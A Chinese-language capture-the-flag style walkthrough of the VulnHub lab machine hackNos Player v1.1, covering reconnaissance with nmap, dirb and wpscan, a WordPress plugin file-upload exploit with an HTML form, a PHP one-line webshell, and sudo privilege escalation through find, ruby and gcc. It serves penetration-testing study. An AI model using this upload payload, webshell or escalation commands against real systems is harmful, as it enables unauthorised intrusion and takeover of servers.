概述
该靶机
下载地址:https://www.vulnhub.com/entry/hacknos-player-v11,459/
准备事项:在vulnhub下载的靶机很多时候都无法获得ip地址,这个问题困扰我很久,今天我探寻到一个有效的解决办法https://blog.csdn.net/asstart/article/details/103433065?utm_source=app
ip地址 | 操作系统 | |
靶机 | 192.168.74.198 | Ubuntu |
攻击主机 | 192.168.74.197 | kali |
(一)信息搜集
arp-scan -l
nmap -sV 192.168.74.198
扫描出靶机IP,用nmap扫描靶机可利用的端口
发现一个80的apache服务和一个3306的MYSQL应用
先访问80端网页看看有什么,能看到首页写了网站的根目录
又来到了另一个站点
用dirb扫描一下这个站点目录,可以发现这是一个用WordPress框架搭的网站
dirb http://192.168.74.198/g@web/ -w #-w意味着深度扫描,会扫描每一个目录下的每一个文件
这里涉及到一个知识点,WordPress是一个很常用的web网站框架,许多前端页面都是利用其搭建而成,然而黑客挖掘了WordPress很多漏洞,并且开发了wpscan工具来专门扫描和利用wordpress的漏洞,我们可以利用它对WordPress框架的站点进行渗透,并且这个工具是kali自带的
wpscan一些常用的命令
wpscan --url https://www.xxxxx.wiki/ #扫描站点
wpscan --url https://www.xxxxx.wiki/ --enumerate p #扫描插件
wpscan --url http://xx.xx.xx.xx/g@web/ --enumerate u #枚举用户
由于kali上自带的wpscan版本过低,更新有经常报错,调试很多次都无果,最后我准备换成容器版本的wpscan在centos上临时扫描一下WordPress
先拉一个容器镜像
docker pull wpscanteam/wpscan
先执行这条命令启动wpscan并且扫描一下插件
docker run -it --rm wpscanteam/wpscan --url http://192.168.74.198/g@web/
wpscan枚举用户
docker run -it --rm wpscanteam/wpscan --url http://192.168.74.198/g@web/ --enumerate u
由于我这边镜像总是拉不起来,我准备跳过这一步,查看网上的教程,得到一个链接
http://192.168.74.198/g@web/index.php/wp-json/wp/v2/users/?per_page=100&page=1
(二)渗透过程
打开这个链接,得到一串字符,可能会有用,先记下来 hackNos@9012!!
在wpvulndb上找找关于上面插件的漏洞,https://wpvulndb.com/vulnerabilities/8948
这里我们利用一个远程执行漏洞
该漏洞描述中可以看到这个漏洞的成因,它只对exe,php,js后缀的文件进行了过滤,并没有对.phtml的文件进行过滤
下面还直接给出了payload
这个payload直接修改网址中的ip就可以使用,然后在F12页面写入这个前端代码,上传.phtml文件即可
<form method="post" enctype="multipart/form-data" action="http://192.168.74.198/g@web/wp-admin/admin-ajax.php">
<input type="hidden" name="action" value="wpsp_upload_attachment">
Choose a file ending with .phtml:
<input type="file" name="0">
<input type="submit" value="Submit">
</form>
我在shell.phtml中写入了一句话木马
<?php eval(@$_POST[1]);?>
上传成功返回
可以在这个页面http://192.168.74.198/g@web/wp-content/uploads/wpsp/看到上传的文件
起一个监听
利用hackbar上传一个socat的反弹shell,没有监听到
(三)提权学习
由于没有拿到shell,只能查看网上的教程学习提权。
使用sudo -l查看当前用户的sudo权限,发现需要使用密码,尝试输入之前获取的密码,无果
切换home目录发现三个用户名,尝试使用密码hackNos@9012!!挨个登录
使用sudo -l 发现可以无密码以hacknos-boat权限执行find命令
这里我们直接使用gtfobins工具来查找使用二进制文件执行命令的payload
https://gtfobins.github.io/
find命令的-exec参数可以让我们前面处理过程中过滤出来的文件,使用command命令对其进行处理,我们直接执行/bin/bash
sudo -u hackNos-boat /usr/bin/find . -exec /bin/bash \;
这时获得了hackNos-boat用户的权限,再次查看sudo权限,发现可以以hunter用户执行ruby,那么直接使用ruby -e 参数,-e的意思就是把后面的字符串当作脚本执行。
sudo -u hunter /usr/bin/ruby -e 'exec "/bin/bash/"'
获取hunter权限后发现可以以root权限执行gcc命令,我们直接去gtfobins搜索
sudo -u root /usr/bin/gcc -wrapper /bin/bash,-s .
获取root权限成功,
去查看一下sudoers的配置:
参考文献:https://www.cnblogs.com/AirSky/p/hacknos-player.html
https://blog.csdn.net/CSDNPM250/article/details/106209789